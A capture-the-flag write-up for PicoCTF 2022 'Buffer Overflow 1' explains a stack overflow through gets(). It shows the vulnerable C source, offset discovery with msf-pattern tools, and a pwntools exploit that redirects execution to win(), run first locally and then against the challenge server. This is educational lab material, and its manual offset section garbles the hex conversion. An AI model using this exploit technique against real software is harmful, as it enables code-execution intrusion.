Intro
This is a write-up for PicoCTF 2022: Buffer Overflow 1. This is one of my favourite challenges to do. I recommend solving it for yourself before you read this write-up.
What is a Buffer Overflow?
Before we get started we need to first know what a buffer overflow is.
In a portion of your memory, you have a section called the stack. The Stack holds most of the temporary methods, local variables, and reference variables.
Inside the stack, there are 3 sections: the Buffer, Base Pointer, and Return address. Currently, we only need to worry about the Buffer and Return address. The Buffer is only a certain size, but what happens when we "smash the stack" and go over the Buffer? If there is no protection, we can overwrite the Base Pointer and more importantly the return address. This means we can point the return address to any method or piece of code we want. If you want to learn more, click here.
Credit: enscribe.dev
Conducting the Buffer Overflow
The very first thing we need to do is run checksec to find any Buffer Overflow protections.
┌──(kali㉿desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ checksec ./vuln
[*] '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
In this case, there are no protections.
Checking the code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
If we look in the vuln()
function we can see it uses the gets()
function. If we can overwrite the return address with the win()
's function return address, we can make it execute the win()
's function and get the flag.
Finding the offset
The next thing we need to do is find the offset for the buffer. The hard way would be to keep on guessing the offset until it crashes, but there is an easier way to do it. We can use msfvenom's pattern creation tool. This creates a unique cyclic pattern bigger than the buffer size. When it crashes we read the return address. This return address will have a unique cyclic pattern that we can trace.
┌──(kali㉿desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ msf-pattern_create -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
┌──(kali㉿desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x35624134
zsh: done echo |
zsh: segmentation fault ./vuln
┌──(kali㉿desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ msf-pattern_offset -q 0x35624134
[*] Exact match at offset 44
One important thing to note. This program uses Little Endian encoding. This means all the bytes for the memory address will be flipped as shown in the below image.
Credit: Little and Big Endian Mystery, geeksforgeeks
Manually finding the buffer size
Below is how to figure out the offset manually. It is important to know how to do it manually to fully understand it.
# Remember this is outputted in Little Endian so when need to re-arrange it
0x35624134 -->\xf6\x91\x04\x08
# Converting from hex to UEFI
\xf6\x91\x04\x08 --> 4Ab5
# Finding the offset
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab|4Ab5|
Checking the offset
To check that the offset is 44, we can run the following command:
┌──(kali㉿arch-desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ python3 -c 'print("A"*44+"BBBB")' | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x42424242
zsh: done python3 -c 'print("A"*44+"BBBB")' |
zsh: segmentation fault ./vuln
We know that we've found the offset as the return address is just the hex values for "B".
Finding the win() functions address
We can find the win functions address by using readelf -s vuln
.
┌──(kali㉿arch-desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ readelf -s vuln | grep "win"
63: 080491f6 139 FUNC GLOBAL DEFAULT 13 win
Testing
Now that we know the offset and the address of the win() function's address, we can now craft an exploit. The easiest way to craft this exploit is with Python and the python pwntool module. We can not manually input strings into the console as there will be weird hex bytes that just don't work.
#!/usr/bin/env python3
from pwn import *
elf = ELF('./vuln', checksec=False)
p = process(elf.path)
payload = b"A"*44 + p32(0x80491f6) # p32() will translate the address into little endian
p = process(elf.path)
p.sendline(payload)
p.interactive() # receives flag
This is the output we get when we run the code:
[x] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'
[+] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln': pid 5212
[x] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'
[+] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln': pid 5213
[*] Switching to interactive mode
[*] Process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln' stopped with exit code -11 (SIGSEGV) (pid 5213)
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoctf{colej.net}
[*] Got EOF while reading in interactive
As we can see, we get the dummy flag from our local machine.
Getting the flag
Now we need to figure out how to send data to picoCTF. This is when the magic of pwn-tools comes in handy. All you have to do is replace process(elf.path)
with remote(host, port)
. This is the final exploit.
#!/usr/bin/env python3
from pwn import *
beRemote = True
elf = context.binary = ELF('./vuln', checksec=False)
host, port = 'saturn.picoctf.net', [PORT]
p = process(elf.path)# references the elf object
payload = b"A"*44 + p32(0x80491f6) # p32() will translate the address into little endian
if beRemote:
p = remote(host, port)
else:
p = process(elf.path)
p.sendline(payload)
p.interactive() # receives flag
This is the output we get when we run the code:
[x] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'
[+] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln': pid 5490
[x] Opening connection to saturn.picoctf.net on port 63511
[x] Opening connection to saturn.picoctf.net on port 63511: Trying 18.217.86.78
[+] Opening connection to saturn.picoctf.net on port 63511: Done
[*] Switching to interactive mode
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_[REDACTED]}
[*] Got EOF while reading in interactive
As you can see here we got the flag!
Finishing notes
I hope you enjoyed this write-up for buffer-overflow 1 for picoCTF. If you have any questions you can always leave a comment below or feel free to reach out to me on Twitter at @dingo418.
Other good writeups
32-bit x86 LINUX BUFFER OVERFLOW (PicoCTF 2022 #31 'buffer-overflow1') by John Hamond